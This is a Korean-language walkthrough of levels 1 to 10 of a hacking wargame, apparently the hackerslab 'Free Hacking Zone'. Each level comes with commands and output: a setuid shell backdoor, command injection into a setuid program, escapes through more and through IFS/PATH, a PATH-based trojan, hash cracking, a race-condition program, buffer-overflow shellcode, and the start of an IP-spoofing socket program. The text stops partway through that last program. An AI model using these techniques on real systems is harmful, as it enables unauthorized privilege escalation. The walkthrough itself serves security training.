      한 어리석은 대학생 서모씨는 Unix C programming 수업시간에 교수로부터 Standard input으로 부터 패스명을 입력받아 그 파일의 종류를 나타내라는 과제를 받았다. 똑똑한(?) 서모씨는 UNIX의 기본 커맨드 중에 file 이라는 유틸리티가 있음을 알고 이를 이용해 숙제를 간편한 방법으로 해결하였다. 그러나 서씨의 방법에는 상당한 보안상 위험이 있다. 이를 이용하여 다음 레벨을 획득하시오

      <힌트>
      위 화일의 이름은 딱풀제조 회사명이다.

      <레벨업>
      이번 문제도 렙0와 마찬가지로 suid(set user id)의 보안상 문제점을 이용하는 것인데, 여기서 suid에 대해 먼저 짚어보고 계속가기로 하자. 먼저 화일접근 권한에 대해서 먼저 살펴보기위해 /etc/passwd란 파일의 권한을 한번 살펴보자.

      [bluesky@bluestar bluesky]$ ls -l /etc/passwd
      -rw-r--r-- 1 root root 887 Mar 3 01:42 /etc/passwd

      위에서 보는바와 같이 /etc/passwd란 파일은 user가 root이고 group도 root이다. 그리고 제일앞이 - 이므로 일반화일이다. 그리고 소유주인 root에 대한 권한부분이 rw- 이므로 소유주인 root는 읽기/쓰기가 가능하고 실행화일이 아니므로 실행부분은 없다. 그다음 group의 권한부분이 r--이므로 group내의 사용자들은 읽기만 가능하다. 마지막 다른 사용자의 권한부분이 r--이므로 역시 읽기만 가능하다. 결국 /etc/passwd는 소유주인 root만 수정이 가능하다.
      그런데, 우리가 패스워드를 수정할 때 쓰는 passwd란 파일은 사용자로 부터 입력받은 새로운 패스워드를 가지고 /etc/passwd 란 파일을 수정하여 패스워드가 업데이트 된다. 그런데 /etc/passwd는 root만 수정할 수 있는데 어떻게 일반사용자에 의해 /etc/passwd가 수정되어질 수 있는가???

      위의 질문에 대한 해답은 passwd(/usr/bin/passwd)의 접근 권한을 보면 확실해진다.
      [bluesky@bluestar bluesky]$ ls -l /usr/bin/passwd
      -r-sr-xr-x 1 root bin 58306 Apr 13 1999 /usr/bin/passwd

      위에서 보는 바와 같이 소유주인 root의 접근권한 부분이 r-s로 되어 있다. SUID 비트가 셋팅되어 있는 것이다. 이렇게 suid 비트가 설정되어 있으면 다른 사용자들이 이 화일을 실행하는 잠시동안은 이 화일의 소유자의 권한 을 가지게 된다. 즉 이 경우엔 root의 권한을 가진다. 결국, 일반 사용자들이 passwd로 패스워드를 수정하는 경우 passwd를 실행하는 잠시동안 root의 권한을 빌려서 /etc/passwd란 화일을 수정하고 수정이 끝나면 다시 원래의 권한으로 되돌아 오게 되는 것이다.

      이러한 suid는 위와 같이 매우 유용하게 사용될 수 있는 반면 보안상으로 매우 취약한 약점을 가지고 있다. 여기서 suid가 왜 문제가 되는지 간단한 예를 하나 들어보자.

      예를 들어 시스템 관리자가 관리자용으로 따로 만든 계정이 아닌 그냥 root로 작업을 하고 있다가 잠시 자리를 비웠다고 가정해 보자. 이때, 이 시스템에 hacker란 계정을 가진 사람이 들어와서 아래와 같이 했다면 큰일이다.
      [root@bluestar /root]# cp /bin/sh /home/hacker
      [root@bluestar /root]# chmod 4775 /home/hacker/sh
      [root@bluestar /root]# ls -l /home/hacker/sh
      -rwsrwxr-x 1 root root 373304 Mar 23 04:05 /home/hacker/sh

      위와 같이 해두면 hacker란 사용자는 다음에 자신의 계정으로 로긴한 후 이 훔친 shell(일종의 백도어이다.)을 이용하여 언제라도 root가 될 수 있으니 얼마나 위험한 일인가...다음은 그 과정을 보여준다.
      [hacker@bluestar hacker]$ <-- hacker가 자신의 계정으로 로긴..
      [hacker@bluestar hacker]$ whoami
      hacker
      [hacker@bluestar hacker]$ ls -l
      -rwsr-xr-x 1 root root 373304 Mar 23 04:05 sh
      [hacker@bluestar hacker]$ ./sh <-- root의 권한으로 shell을 실행시킴(root shell 획득...)
      [hacker@bluestar hacker]#whoami(프롬프트가 $->#으로 바뀐것을 주목..)
      root
      이후의 일은 끔찍함 그자체.... ^_^

      그러므로 시스템 관리자는 화면 잠금없이 자리를 비우는 일이 없도록 해야하며, 수시로 아래명령으로 불필요하게 suid/sgid 설정 이 되어있는 화일이 없는지 확인해야 한다. (보안툴을 이용해서 점검이 가능..)
      [root@bluestar /root]# find / -perm -4000 -o -perm -2000 -print
      이제 본론으로 돌아와서..레벨1을 깨보자..
      우리가 찾는 딱풀제조 회사명을 검색엔진으로 찾으면 amos라는 것을 알 수 있다.
      (아니면 그냥 drill 서버에서$find / -user level2 -group level1 -print로 찾으면 나온다.)
      이 화일을 실행하면,
      [level1@drill tmp]$/usr/bin/amos
      path?라고 나온다. 여기서 /usr/bin/amos를 입력해보자.
      [level1@drill tmp]$/usr/bin/amos
      path?/usr/bin/amos
      /usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
      (uses shared libs), not stripped

      그런데 여기서 다음과 같이 입력해보자..
      [level1@drill level1]$ file /usr/bin/amos
      /usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
      (uses shared libs), not stripped

      여기서, 우리는 똑똑한(?) 서모씨가 이 amos라 프로그램에서 path?로 입력받은 화일명을 file 이라는 유틸리티의 입력으로 주도록 했다는 것을 알 수 있다.
      file이라는 유틸리티는 입력으로 들어온 화일이 어떤 형태의 화일인지를 알려주는 유틸리티이며 사용법은 [$fille 화일명]이다.

      그런데 /usr/bin/amos의 접근권한을 보면 아래와 같이 suid 비트가 설정되어 있고 user가 level2인 것을 알 수 있다.
      [level1@drill level1]$ ls -l /usr/bin/amos
      -rwsr-x--- 1 level2 level1 13423 Aug 10 15:15 /usr/bin/amos
      그러므로 이 amos를 실행하는 동안은 level2 사용자가 되는 것이다.

      그런데 여기서 또 한가지 알아야 하는 것은 유닉스에서 두가지 명령을 하나의 라인에서 같이 줄 경우 아래와 같이 ; 으로 분리한다는 것을 알아야 한다. 즉, 다음과 같이 할 경우
      [level1@drill level1]$ ls;ls -l
      Mail public_html tmp
      total 5
      drwxr-xr-x 2 root root 1024 Aug 10 14:39 Mail
      drwxr-x--x 2 root level1 1024 Aug 10 15:14 public_html
      drwxrwx--T 2 root level1 3072 Jan 10 05:00 tmp
      ls의 결과를 보여주고 바로 다음 명령인 ls -l의 결과를 보여준다. 이제 레벨1 해답의 열쇠가 보이나요??? 안보인다구요?? ^_^..

      amos 실행후 path?에서 haha;pass 라고 입력해주면 어떻게 되겠는가??
      이렇게 입력하면 다음의 명령이 level2의 사용자 권한으로 실행되는 것이다.
      [level1@drill level1]$file haha;pass
      즉, file haha를 실행하고 pass를 실행한다. file의 인자로 넘어간 pass까지 완전히 실행이 끝나기 전까지는 level2의 사용자로 실행되고 있는 상태(amos가 suid(level2)가 설정되어 있기 때문에)이기 때문에, file haha를 실행하고 haha란 화일이 없을 것이기 때문에 에러 메시지를 출력하고 바로 pass(운영자가 만들어 놓은 스크립트로 shell 사용자의 패스워드를 화면상에 보여준다.)를 실행하여 레벨2의 패스워드를 보여준다.

      [level1@drill tmp]$/usr/bin/amos
      path?haha;pass

      ---------------------------------------------------------------------
      [ LEVEL 2 ]
      ---------------------------------------------------------------------
      패스워드 : xxxxxxxxxxxx
      ---------------------------------------------------------------------


    3. 레벨2 -> 레벨3 패스워드 <문제>
      유명한 비비에스 프로그래머 김모씨는 자신의 bbs를 운영하던중 회원들이 로긴하기 전에 특정 내용이 담긴 경고 메시지를 보여주고 싶었다. 그러나 불행하게도 경고 메시지의 크기가 한 페이지를 넘어가는 바람에 회원들이 이글을 제대로 읽을수가 없었다. 고심하던중 김모씨는 more를 이용하면 간단히 해결 된다는 사실을 알았다. 그러나 그 방법은 상당히 위험한 문제가 남아 있었다. 이를 이용하여 다음 레벨을 획득하시오.

      <힌트>

      <레벨업>
      이번 문제는 more 커맨드의 보안상의 취약점을 알아야 하는 문제이다. 우선,
      $find / -user level3 -group level2 -print 명령으로 김모씨가 경고 메시지를 보여주기 위해 만든 스크립트 화일을 찾아서 실행해보자

      [level2@drill level2]$find / -user level3 -group level2 -print
      /usr/bin/alert
      /usr/bin/alert.txt
      [level2@drill level2]$ls -l /usr/bin/alert
      -rws--x--- 1 level3 level2 12873 Aug 10 15:15 /usr/bin/alert
      [level2@drill level2]$ls -l /usr/bin/alert.txt
      -rwx------ 1 level3 level2 247 Aug 10 15:15 /usr/bin/alert.txt

      위에서 보는 것처럼 이 alert도 역시 level3로 suid 비트가 설정되어 있다는 것을 알수 있다. 즉, 이 alert를 실행중에는 level3 사용자가 되는 것이다.
      [level2@drill level2]$/usr/bin/alert
      이곳은 당신에게 악영향을 끼칠 수도..

      좋은 영향을 끼칠 수도 있습니다..
      ....
      --More--(54%)
      아직 명령 실행이 완전히 끝난 상태가 아니므로 아직 level3 사용자이다.

      여기서 이제 more 커맨드의 보안상 헛점에 대해 알아보자...
      $man more 해서 more 커맨드의 사용법을 보면,
      [bluesky@bluestar bluesky]# man more
      MORE(1) UNIX Reference Manual MORE(1)
      NAME
      more - file perusal filter for crt viewing
      SYNOPSIS
      more [-dlfpcsu] [-num] [+/ pattern] [+ linenum] [file ...]
      .....
      COMMANDS
      Interactive commands for more are based on vi(1). Some commands may be
      preceeded by a decimal number, called k in the descriptions below. In
      the following descriptions, ^X means control-X.
      .....
      !< cmd > or :!< cmd >
      Execute in a subshell

      .....
      위의 man 화일에서 볼 수 있듯이 more 실행중에(실행이 아직 끝나지 않은 상태) 서브쉘을 띄워 유닉스 명령을 실행할 수 있다. 그러므로, 위의 --More--(54%) 상태에서 !pass라고 입력해주면 level3 권한으로 pass를 실행할 수 있게 된다.

      [level2@drill level2]$/usr/bin/alert
      이곳은 당신에게 악영향을 끼칠 수도..

      좋은 영향을 끼칠 수도 있습니다..
      ....
      --More--(54%)
      !xxxx
      ---------------------------------------------------------------------
      [ LEVEL 3 ]
      ---------------------------------------------------------------------
      패스워드 : xxxxxxxxxxx
      ---------------------------------------------------------------------
      --More--(54%)
    4. 레벨3 -> 레벨4 패스워드 <문제>
      항상 약속을 자주 잊어버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 커맨드를 이용하여 오늘의 날짜만 yyyy-mm-dd 형식으로 간단히 출력해주는 프로그램을 씨 언어를 이용해서 프로그래밍하고는 누가볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다. 이를 찾아서 다음 레벨을 진입하시오

      <힌트>

      <레벨업>
      이번 문제는 IFS(Internal Field Separator)의 헛점을 이용한 해킹이다.
      IFS는 유닉스에서 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 변수이다.
      기본적으로 IFS는 공란(Space)으로 정의된다(IFS=" "). 이 IFS를 슬래쉬(/)로 바꾸고 싶다면 csh인 경우는 setenv IFS /, bash인 경우는 export IFS="/"로 하면 변경된다.

      먼저 find 명령으로 서모씨가 꽁꽁 숨겨놓은 화일을 찾으면 /usr/man/pt_BR/man8/today라는 것을 알 수 있다.
      이를 실행하면 01/10/00과 같이 표시되는데 이로써 우리는 today가 유닉스에서 날짜를 보여주는 명령어인 /bin/date를 실행하도록 프로그램 되어있음을 알 수 있다.

      /usr/man/pt_BR/man8/today의 접근 권한을 보면 이 역시 level4로 suid 비트가 설정되어 있다는 것을 알 수 있다. 이 사실과 위에서 말한 IFS의 보안상 헛점을 이용하여 어떻게 level4의 패스워드를 알 수 있겠는가??
      /usr/man/pt_BR/man8/today를 실행하면 /bin/date를 실행한다. 즉, /bin디렉토리를 찾아서 그 아래의 date란 화일을 찾아서 실행하는 것이다. 그런데 우리가 IFS를 /(slash)로 바꾸면 어떻게 되겠는가??
      today를 실행하면 /bin/date를 실행하는데, IFS를 /로 바꾸었기 때문에 shell은 /bin/date -> bin date로 인식하게 된다. 즉, 현재 위치에서 bin이란 화일을 찾아서 있으면 이를 실행하게 될 것이다. 그러므로 우리는 today를 실행하는 현재위치에 bin이라는 스크립트 화일을 만들어 그 안에서 /bin/sh를 실행하게 되면 level4 사용자 권한으로 sh(shell)를 실행하는 결과가 되므로 level4의 shell이 뜨게 될 것이다.

      아래 그 과정을 보여준다.
      [level3@drill level3]$find / -user level4 -group level3 -print
      /usr/man/pt_BR/man8/today
      [level3@drill level3]$ cd tmp
      [level3@drill tmp]$
      [level3@drill tmp]$ ls -l /usr/man/pt_BR/man8/today
      -rws--x--- 1 level4 level3 13245 Aug 10 15:15 /usr/man/pt_BR/man8/today
      [level3@drill tmp]$ln -s /usr/man/pt_BR/man8/today today
      위는 /usr/man/pt_BR/man8/today를 현재위치에 today란 이름으로 링크를 시키는데 안해도 상관은 없다.

      [level3@drill tmp]$ls -l
      lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today
      [level3@drill tmp]$./today
      01/10/00
      [level3@drill tmp]$cat > bin
      /bin/sh
      ^D
      [level3@drill tmp]$chmod 755 bin
      [level3@drill tmp]$ls -l
      -rwxr-xr-x 1 level3 level3 10 Jan 10 10:38 bin
      lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today

      이제 여기까지 IFS를 /로 바꾼후에 실행할 bin 이라는 스크립트를 /bin/sh란 내용으로 만들어 실행가능 permission을 주었다.
      이제 실제로 IFS를 /로 바꾸고 today를 실행시키자...
      [level3@drill tmp]$IFS=/
      [level3@drill tmp]$export IFS
      [level3@drill tmp]$PATH=.:$PATH <-- 현재설정된 PATH에 .(자신의 디렉토리)를 추가한다.
      [level3@drill tmp]$,/today
      bash$pass <-- level4 shell 상에서 pass 입력..
      ---------------------------------------------------------------------
      [ LEVEL 4 ]
      ---------------------------------------------------------------------
      패스워드 : xxxxxxxxxx
      ---------------------------------------------------------------------
      bash$exit
      [level3@drill tmp]$

    5. 레벨4 -> 레벨5 패스워드 <문제>
      리눅스에 들어있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스파일에 특정코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없었다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고 이를 이용하여 다음 레벨을 획득하면 된다.

      <힌트>
      어줍잖은 김모씨는 단 한줄만 소스에 추가했다고 한다.

      <레벨업>
      find 명령으로 찾아보면..김모씨가 하려고 했던 게임이 /usr/games/trojka라는 것을 알 수 있다.
      이를 실행해보면...김모씨가 소스에 추가한 한줄을 대충 짐작 할 수 있을 것이다..바로../usr/bin/clear를 실행하도록 한줄을 추가했다는 것을 알 수 있다. 그리고 이 trojka 역시 level5로 suid 비트가 설정되어 있다...그러므로 우리는 trojka를 실행할때.. 실행하도록 한 clear를 /usr/bin/clear가 아닌 우리가 만든 clear로 대치하고 clear 속에 level5 쉘을 띄우면..렙5의 패스워드를 알 수 있을것 같다..그럼...이 과정을 아래에서.자세히..

      [level4@drill level4]$cd tmp
      [level4@drill tmp]$ find / -user level5 -group level4 -print
      /usr/games/trojka
      [level4@drill tmp]$ls -l /usr/games/trojka
      -rwsr-x--- 1 level5 level4 30350 Aug 10 15:15 /usr/games/trojka
      [level4@drill tmp]$cat > clear <-- /usr/bin/clear가 아닌 우리가 실행시킬 clear 화일 작성
      /bin/pass
      ^D

      위에서 clear의 내용을 /bin/pass가 아닌 /bin/sh로 할 경우..trojka를 실행하면..렙5의 쉘(bash$)이 나올 것이다. 이때 bash$pass 해주면 된다.
      [level4@drill tmp]$chmod 755 clear
      <-- 실행가능 권한 설정
      [level4@drill tmp]$ln -s /usr/games/trojka <-- 링크(안할 경우 /usr/games/trojka를 실행하면 됨)
      [level4@drill tmp]$PATH=.:$PATH <-- clear를 현재디렉토리에서 부터 찾도록 하기 위함..
      [level4@drill tmp]$./trojka

      패스워드가 보이죠?? ^_^..
    6. 레벨5 -> 레벨6 패스워드 <문제>
      어줍잖은 해커 정모씨는 문제1에서 백도어를 만든 장본인이다. 그러나 불행히도 많은 해커스랩 회원들이 자신의 백도어를 쉽게 악용하고 있다는 사실을 알고는 분통이 터져 잠을 잘 수가 없었다. 평상시 머리굴리기는 배꼽의 때만큼도 하기 싫어하는 정모씨가 드뎌 큰맘을 먹고 자신이 평상시 만든 백도어에 보안강도를 높이기로 결정했다. 그리고는 이제 이 백도어는 나만 쓸수 있다고 큰소리 치며 편안히 잠을 잘 수 있었다고 한다. 여러분의 임무는 다시 정모씨의 눈에서 피눈물이 나게 하는 것이다.

      <힌트>

      <레벨업>
      이번 문제는 유닉스 커맨드 중 하나인 strings를 알고 있느냐/없느냐..하는 문제이다. strings는 유닉스에서 일반 text 에디터(vi,emacs..)로는 볼 수 없는 화일들(예를 들면..공유 라이브러리인 *.so, 로긴정보를 담고있는 /var/wtmp 등등..)내에서 출력가능한 문자를 출력해주는 유틸리티이다.

      일단, find 명령으로 정모씨가 백도어의 보안강도를 높이기 위해 사용한 파일을 찾아보면... /lib/security/pam_auth.so라는 것을 알 수 있는데.. 이 화일 속에 패스워드를 숨겨두었다..그런데..이 파일은 일반 text 에디터로는 볼 수 없기 때문에.. strings 명령으로 확인하면 된다.

      [level5@drill tmp]$find / -user level6 -group level5 -print
      /lib/security/pam_auth.so
      [level5@drill tmp]$ls -l /lib/security/pam_auth.so
      -rwsr-x--- 1 level6 level5 13742 Aug 10 15:15 /lib/security/pam_auth.so
      [level5@drill tmp]$strings /lib/security/pam_auth.so
      /lib/ld-linux.so.2
      __gmon_start__
      ......
      ......
      B.....
      ......
    7. 레벨6 -> 레벨7 패스워드 <문제>
      짜짜 여기까지 오느라 수고하신 여러분을 위해 보너스 문제를 특별히 준비하였습니다..이번엔 고생하신 여러분을 위해 패스워드를 알려드리기 위해 TCP 포트 하나를 열어두고 있습니다.. 그런데 불행히도 몇번 포트였는지 기억이 나질 않는군요.. 아무튼 수고를 ....

      <힌트>

      <레벨업>
      이번 문제는 network 유틸리티인 netstat의 사용법과 telnet 접속시 특정 포트로 접속하는 방법에 대한 문제이다..
      먼저, drill에 접속하여 열어두고 있는 TCP 포트를 확인해보면..아래와 같다는 것을 알 수 있을 것이다..

      [level6@drill level6]$ netstat -a | grep "LISTEN"
      tcp 0 0 *:2994 *:* LISTEN
      tcp 0 0 *:80 *:* LISTEN
      tcp 0 0 *:25 *:* LISTEN
      tcp 0 0 *:6969 *:* LISTEN
      tcp 0 0 *:23 *:* LISTEN
      unix 0 [ ACC ] STREAM LISTENING 978 /dev/gpmctl

      위에서 2994번 포트는 렙13을 위한 것이고, 80번은 HTTP, 25번은 SMTP, 23번은 TELNET이다. 6969번이 우리가 원하는 포트이다.. 이제 포트를 알았으니 접속을 해보자..

      [bluesky@bluestar bluesky]$telnet drill.hackerslab.org 6969
      ....
      level6's passwd:xxxxxxxxxxxxxxxxxxxxxxxxxxx
      'Best of The Best ......'
      Congratulation!! level7's passwd is 'Can't ....'
    8. 레벨7 -> 레벨8 패스워드 <문제>
      이번 문제는 고도의 노가다 작업이 필요하다. 특정파일을 찾아 실행시키면 다음 레벨의 패스워드가 나올 것이다. 그러나 곱게 알려줄 수는 없는 법.(여러분의 고통은 나의 행복) 다음 레벨을 얻기 위해선 약간의 고생이 필요할 것이다.

      <힌트>

      <레벨업>
      이번 문제는 패스워드를 Crack tool로 크랙하는 문제이다. 먼저 문제의 특정화일을 찾으면../dev/audio2라는 것을 알 수 있다.
      이를 실행하면..
      [level7@drill tmp]$find / -user level8 -group level7 -print
      /dev/audio2
      [level7@drill tmp]$/dev/audio2
      VoE4HoQCFfMW2
      shadow파일의 level8 패스워드 부분이다.

      이 암호화된 패스워드를 ntucrack이나 CrackJack 등의 툴을 이용하여 크랙하면 된다.
      크랙된 패스워드는 wxxxxxxxx이다..
      Cracking_tool 사용법
    9. 레벨8 -> 레벨9 패스워드 <문제>
      이번 부터는 해킹기법에 대한 이해가 필요합니다.. 한때 유행했었던 8lgm이 즐겨 발표했던 방법으로써 /usr/bin/ps2를 이용하여 다음 레벨을 획득하여라.

      <힌트>
      임시 파일이 /var/tmp2에 생성된다.

      <레벨업>
      이번 문제는 race condition(경쟁조건)을 이용한 race attack이다.

      [level8@drill tmp]$find / -user level9 -group level8 -print
      /usr/bin/ps2
      [level8@drill tmp]$ ls -l /usr/bin/ps2
      -rws--x--- 1 level9 level8 933937 Aug 12 13:22 /usr/bin/ps2

      [level8@drill tmp]$cat > race.c <-- 아래의 내용으로 race.c 작성
      int main()
      {
      int i;
      unlink("/var/tmp2/ps2.tmp");
      for(i=0;i<10;i++){
      system("/usr/bin/ps2&"); &<-- 백그라운드로 동작시킴
      ....중략..

      }
      ^D
      [level8@drill tmp]$cc -o race race.c <-- 컴파일
      [level8@drill tmp]$cat > haha
      /bin/pass
      ^D
      위의 haha의 내용은 어떤거라도 상관이 없다. 위에서 symlink에서 symbolic link만 제대로 만들어지면 race condition 상태가 되어 level9의 패스워드가 나온다
      [level8@drill tmp]$chmod 755 haha

      [level8@drill tmp]$ ./race
      file exist
      Congratulations !!! your race attack success ~
      level9 Password is xxxxxx
      file exist
      file exist
      file exist
      Congratulations !!! your race attack success ~
      level9 Password is xxxxxx
      file exist
      file exist
      Congratulations !!! your race attack success ~
      level9 Password is xxxxxx
      [level8@drill tmp]$
    10. 레벨9 -> 레벨10 패스워드 <문제>
      바운드 체킹(Bound checking)을 하지 않아 발생하는 보안문제 입니다..

      <힌트>
      /etc/bof -> suid(user=level10, group=level9)

      <레벨업>
      이번 문제는 버퍼 오버플로우(Buffer based Overflow)를 이용한 해킹기법이다. 버퍼 오버플로우는 1988년 전 세계를 떠들석하게 만들었던 Morris Worm 사건에서의 finger daemon을 이용한 공격이 시초라고 말할 수 있다. 하지만 과거 이에 대한 기술적 지식이 부족했던터라 잘 알려지지 않았으나 1997년 Phrack 잡지 49호에 실린 Aleph의 "Smashing the Stack for Fun and Profit" /[한글판은 여기를 클릭..] 이라는 기사에서 이 버퍼 오버플로우에 대한 자세한 원리와 제작 방법이 소개되면서 지금 까지도 많은 양의 버퍼 오버플로우 공격방법이 생겨나고 있다.

      그 원리는 메모리의 스택영역을 넘쳐흐르게 해서 리턴되는 주소지를 변경하여 원하는 임의의 명령어를 실행시키는 것이다.
      exploit 소스는 위의 "Smashing the Stack for Fun and Porfit"에 자세히 나와 있다.

      [level9@drill jkp]$cat > exploit4.c
      #include < stdlib.h>
      #define DEFAULT_OFFSET 0
      #define DEFAULT_BUFFER_SIZE 512
      #define DEFAULT_EGG_SIZE 2048
      #define NOP 0x90

      char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

      unsigned long get_esp(void) {
      __asm__("movl %esp,%eax");
      }

      void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;

      if (argc > 1) bsize = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);

      if (!(buff = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
      }

      .... 중략..

      memcpy(egg,"EGG=",4);
      putenv(egg);
      memcpy(buff,"RET=",4);
      putenv(buff);
      system("/bin/bash");
      }
      [level9@drill jkp]$cc -o exploit4 exploit4.c
      [level9@drill jkp]$ln -s /etc/bof
      [level9@drill jkp]$PATH=.:$PATH
      [level9@drill jkp]$exploit4 768
      Using address: 0xbffffd78
      [level9@drill jkp]$bof $RET
      hello~ x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
      煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
      x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
      퓒煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
      煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
      x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
      퓒煊x煊x煊x煊x煊x煊x煊x煊x?
      bash$ pass
      --------------------------------------------------------------------------------------------
      --------------------------------------------------------------------------------------------
      패스워드: xxxxxxxxxxxxxxxx
      --------------------------------------------------------------------------------------------
      bash$ exit
      [level9@drill jkp]$
    11. 레벨10 -> 레벨11 패스워드 <문제>
      현재 해킹자유지대(FHZ:Free Hacking Zone) 서버에는 특정 데몬이 떠있다. 이 데몬은 UDP 5555번 포트를 이용하는데 www.hackerslab.org 호스트로부터 레벨10의 패스워드와 이메일 주소가 담긴 패킷이 오면 그 이메일 주소로 level11의 패스워드를 알려준다. 그 해당 포맷은 다음과 같다.
      'level10의 패스워드/email주소'
      ex) level10의 패스워드가 abcd이고 email 주소가 abc@aaa.ccc.ddd.rr 이라면 'abcd/abc@aaa.ccc.ddd.rr'
      반드시 www.hackerslab.org로 부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.

      <힌트>

      <레벨업>
      이번 문제는 케빈 미트닉 vs 시모무라 사건으로 세상을 떠들썩하게 했던 IP spoofing을 이용한 해킹기법을 사용하는 문제이다.
      (IP spoofing을 이해하기 위해서는 TCP/IP에 대한 이해가 필요하다..공부를 좀 해보시길...)

      원래 IP 스푸핑이 이론적으로 가능하다는 주장은 1985년에 로버트 모리스에 의해서 제기되었으나('A Weakness in the 4.2 BSD UNIX TCP/IP Software' 라는 작은 논문) 케빈 미트닉(Kevin D. Mitnick)이라는 불쌍한(훌륭한??) 해커가 시모무라 스토무(Tsutomu Shimomura)라는 귀족 해커의 시스템에 침투할 때 사용함으로써 세상에 널리 알려지게 되었다.(얼마전 4년 이상 감금 상태에서 재판을 진행중이던 미트닉에 대하여 대법원이 벌금형으로 형을 확정하였다.)

      - 케빈 미트닉 지지자들의 공식 홈페이지 -
      http:www.kevinmitnick.com

      - 시모무라 스토무의 홈페이지 -
      http:www.takedown.com

      위의 시모무라 홈페이지에 가면 실제 미트닉이 공격을 했던 상황을 아주 자세히 정리를 해 놓았으며, 시뮬레이션도 보여준다. 참고로 지난 1997년 12월 9일 우리가 대통령 선거에 온 정신을 집중하고 있었을 때 미국에서 재미있는 일이 벌어졌다. 야후(Yahoo) 홈페이지가 일단의 해커 그룹으로 보이는 자들에게 해킹을 당하였는데 자신들을 PANTS/HAGIS라고( 하기스 팬츠를 거꾸로?) 소개하였다. 이들의 주장은 케빈 미트닉을 크리스마스 때까지(97년? 98년?) 석방하지 않으면 전 세계 네트워크가 논리 폭탄에 의해 감염될 것이라고 하였는데 그 이유는 지난 달(1997년 11월)에 야후를 방문해서 검색한 모든 사람들의 컴퓨터들이 자신들이 야후에 설치한 이 논리 폭탄에 감염되었기 때문이라고... 그리고 덧붙여 자신들의 목표는 세계를 지배하는 것이라고 하였다. 그리하여 이 논리 폭탄을 치료할 치료제는 남반구 어디엔가 숨겨 놓았으며 미트닉을 석방하면 알려주겠다고... - 믿거나 말거나..^_^ ----------
      당시 해킹당한 야후 홈페이지: http://www.onething.com/archive/yahoo/yahooo.htm

      한편, 미트닉 검거에 일조한 뉴욕 타임즈 죤 마르코프 기자에 대한 보복으로 케빈 미트닉을 지지하는 해커 그룹이 뉴욕 타임즈 홈페이지를 해킹하기도 했었다.
      당시 해킹당한 뉴욕타임즈 홈페이지: http://www.onething.com/archive/nyt/nyt.htm

      에고..이제 본론으로 들어가서..
      FHZ(Free Hacking Zone) 서버가 신뢰하는 호스트는 hackerslab 웹서버(www.hackerslab.org:203.239.110.1)이다. 즉, UDP 5555번 포트를 이용해 FHZ 서버에 떠 있는 데몬은 자신이 신뢰하는 호스트로부터 'level10의 패스워드/email 주소' 의 내용이 담긴 패킷이 오면..위에 적힌 email 주소로 레벨11의 패스워드를 알려주는 일을 하는 데몬이다.
      그러므로 우리는 위의 'level10패스/email주소'의 내용을 갖는 패킷의 발신지 주소를 203.239.110.1이 되도록(IP spoofing) 소켓 프로그래밍하여 drill 서버의 UDP 5555번 포트로 보내면 된다.

      이제 소켓 프로그램을 작성해보자..
      [bluesky@bluestar bluesky]$cat > socket.c
      #include < stdio.h>
      #include < stdlib.h>
      #include < errno.h>
      #include < string.h>
      #include < sys/types.h>
      #include < netinet/in.h>
      #include < sys/socket.h>
      #include < sys/wait.h>

      #define DEST_IP "203.239.110.20"
      #define DEST_PORT 5555

      main()
      {
      int sockfd;
      struct sockaddr_in dest_addr;
      char *msg = "level10's password/ingots@blue.nownuri.net";
      int len, bytes_sent;
      printf("\n###############################################\n");
      printf(" sent message : %s\n", msg);
      if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
      {
      perror("socket error!!!");
      exit(1);
      }
      dest_addr.sin_family = AF_INET;
      dest_addr.sin_port = htons(DEST_PORT);
      dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
      bzero(&(dest_addr.sin_zero), 8);
      printf(" dest address : %s\n", inet_ntoa(dest_addr.sin_addr));
      connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
      len = strlen(msg);
